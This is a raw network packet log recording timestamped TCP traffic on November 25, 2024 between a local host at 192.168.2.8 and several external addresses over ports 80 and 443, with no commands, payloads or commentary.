Nov 25, 2024 12:08:46.340210915 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.340399027 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.340406895 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.341670990 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.341725111 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.341754913 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.341793060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.343502045 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.343523026 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.343554020 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.343569994 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.343696117 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.343775988 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.343782902 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.344950914 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.345002890 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.345082998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.345146894 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.346569061 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.346616030 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.346679926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.346863031 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.348206997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.348274946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.348287106 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.348292112 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.348320961 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.348340034 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.348345995 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.349984884 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.350039005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.350090027 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.350131989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.351497889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.351550102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.351618052 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.351677895 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.353060961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.353102922 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.353269100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.353321075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.354773998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.354820013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.354908943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.354954958 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.355516911 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.355631113 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.355644941 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.356426001 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.356533051 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.356551886 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.356652975 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.358057022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.358129978 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.358149052 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.358191967 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.359710932 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.359761000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.359843016 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.360016108 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.361299038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.361349106 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.361442089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.361493111 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.363028049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.363061905 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.363082886 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.363104105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.363114119 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.363306999 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.363321066 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.364551067 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.364598989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.364645004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.364727974 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.366179943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.366266966 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.366269112 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.366309881 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.367845058 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.367899895 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.367978096 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.368019104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.369780064 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.369829893 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.369908094 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.369950056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.370723963 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.370776892 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.370786905 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.371653080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.371752024 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.371774912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.371797085 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.373188972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.373287916 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.373373032 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.373456001 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.374630928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.374684095 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.374707937 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.374748945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.376382113 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.376446009 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.376501083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.376539946 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.377892971 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.377938986 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.377970934 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.378046036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.378134966 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.378185034 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.378194094 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.379224062 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.379272938 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.379304886 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.379338980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.380909920 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.381001949 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.381079912 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.381129026 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.382390976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.382441998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.382596016 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.382632017 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.383888960 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.383997917 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.384028912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.384043932 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.385117054 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.385168076 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.385198116 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.385282993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.385369062 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.385443926 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.385452986 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.386512995 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.386574984 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.386607885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.386631012 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.387892008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.387963057 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.388051987 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.388102055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.389292955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.389440060 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.389448881 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.389478922 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.390563965 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.390610933 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.390775919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.390978098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.392046928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.392105103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.392222881 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.392271042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.392997980 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.393042088 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.393052101 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.393304110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.393353939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.393491030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.393528938 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.394751072 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.394798040 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.394884109 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.394932985 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.396050930 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.396102905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.396195889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.396239042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.397449970 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.397497892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.397552967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.397593021 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.398968935 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.399018049 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.399080038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.399118900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.400129080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.400168896 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.400271893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.400403023 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.400969982 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.401019096 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.401026011 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.401453018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.401587009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.401587009 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.401623011 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.402894974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.402940989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.402976990 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.403054953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.404263973 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.404306889 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.404370070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.404422045 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.405554056 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.405599117 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.405658007 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.405703068 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.406878948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.406933069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.424336910 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.424391031 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.424398899 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.426008940 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.426059961 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.426069021 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.428626060 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.428683043 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.428693056 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.433484077 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.433532953 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.433546066 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.445593119 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.445633888 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.445641041 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.457269907 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.457423925 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.457434893 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.458192110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.458203077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.458235979 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.458252907 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.458535910 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.458595991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.458626032 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.458673000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.459933996 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.459985971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.460002899 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.460067987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.461297035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.461344004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.461354017 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.461380959 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.468884945 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.468940973 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.468954086 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.470108032 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.470170975 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.470176935 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.472773075 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.472820044 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.472831964 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.480518103 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.480593920 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.480604887 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.482117891 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.482177973 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.482184887 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.491552114 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:46.491575003 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:46.491666079 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:46.491708040 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:46.491739988 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:46.491760969 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:46.491990089 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:46.492001057 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:46.492016077 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:46.492160082 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:46.492191076 CET	443	49767	40.126.53.6	192.168.2.8
Nov 25, 2024 12:08:46.492295980 CET	49767	443	192.168.2.8	40.126.53.6
Nov 25, 2024 12:08:46.504142046 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:46.504168034 CET	443	49779	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:46.504270077 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:46.504343987 CET	49780	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:46.504375935 CET	443	49780	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:46.504430056 CET	49780	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:46.504559994 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:46.504574060 CET	443	49779	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:46.504960060 CET	49780	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:46.504976034 CET	443	49780	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:46.505995989 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.506031990 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.506057978 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.506071091 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.506109953 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.507050991 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.510046959 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.510087013 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.510135889 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.510147095 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.510189056 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.512232065 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.512322903 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.512360096 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.512370110 CET	443	49756	172.217.19.225	192.168.2.8
Nov 25, 2024 12:08:46.512381077 CET	49756	443	192.168.2.8	172.217.19.225
Nov 25, 2024 12:08:46.535558939 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.535623074 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.535664082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.535703897 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.536156893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.536170006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.536209106 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.536228895 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.537048101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.537095070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.537132978 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.537147999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.538042068 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.538093090 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.538151026 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.538192034 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.539055109 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.539104939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.539124012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.539190054 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.540231943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.540431976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.540482998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.541197062 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.541280031 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.541333914 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.542124987 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.542176008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.542299032 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.542347908 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.543159008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.543212891 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.543246031 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.543292999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.544349909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.544403076 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.544447899 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.544502974 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.545198917 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.545238972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.545272112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.545285940 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.546220064 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.546298981 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.546355963 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.546423912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.547240019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.547297001 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.547298908 CET	49744	80	192.168.2.8	185.215.113.206
